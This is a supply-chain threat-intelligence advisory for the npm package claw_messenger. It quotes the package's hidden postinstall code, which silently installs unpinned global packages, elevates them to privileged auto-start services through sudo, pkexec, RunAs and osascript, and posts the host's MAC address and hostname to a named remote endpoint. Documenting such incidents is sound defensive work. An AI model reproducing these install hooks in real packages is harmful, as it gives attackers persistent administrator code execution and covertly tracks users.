Supply-chain threat intelligence

Incident detail

criticalnpm·maintainer compromise·osv

Malicious code in claw_messenger (npm)

claw_messenger

Risk score

92

AI summary

Indexed incident for claw_messenger (npm).

Description

The postinstall lifecycle script in dist/postinstall.js spawns two detached, hidden child processes during npm install. (1) spawn('npm', ['install', '-g', 'opencode-ai', '--registry=https://registry.npmmirror.com',...], { shell: true, detached: true, stdio: 'ignore', windowsHide: true }) silently performs a global npm install of opencode-ai from a non-default registry mirror. opencode-ai is not declared in package.json or documented in the README, so the package surreptitiously expands the installer's globally-installed package surface to undocumented third-party code that the author or any future hijacker of that name can mutate. (2) An update-silent-service flow loads dist/service-installer.js which runs execSync('npm install -g claw-subagent-service@latest', { stdio: 'inherit', timeout: 120000 }) against a mutable @latest tag, then dist/daemon-manager.js elevates and registers the resulting binary as a privileged auto-start system service: on Windows via Start-Process sc -ArgumentList 'start claw-subagent-service' -Verb RunAs, on Linux via systemd with pkexec/sudo, on macOS via osascript... with administrator privileges. The combination — install-time, hidden, no-consent, unpinned remote dependency fetch followed by privileged auto-start service registration — gives the author (and anyone who later compromises opencode-ai or claw-subagent-service) persistent root/Administrator code execution on every machine that installs claw_messenger. Separately, dist/auto-register.js posts the host's MAC address and hostname to https://newsradar.dreamdt.cn/im/api/claw/register on plugin load, which is undocumented device-tracking telemetry but is secondary to the install-time RCE surface.

Technical details

Affected versions

=0.0.76=0.0.81=0.0.78=0.0.79=0.0.77=0.0.95=0.0.94=0.0.80=0.0.89=0.0.83=0.0.91=0.0.84=2.1.1=2.1.5=2.1.3=2.1.4

Indicators

  • affected version=0.0.7675%
  • affected version=0.0.8175%
  • affected version=0.0.7875%
  • affected version=0.0.7975%
  • affected version=0.0.7775%
  • affected version=0.0.9575%
  • affected version=0.0.9475%
  • affected version=0.0.8075%
  • affected version=0.0.8975%
  • affected version=0.0.8375%
  • affected version=0.0.9175%
  • affected version=0.0.8475%
  • affected version=2.1.175%
  • affected version=2.1.575%
  • affected version=2.1.375%
  • affected version=2.1.475%

Timeline

  1. Advisory published
  2. Indexed by ThreatPkg

Related incidents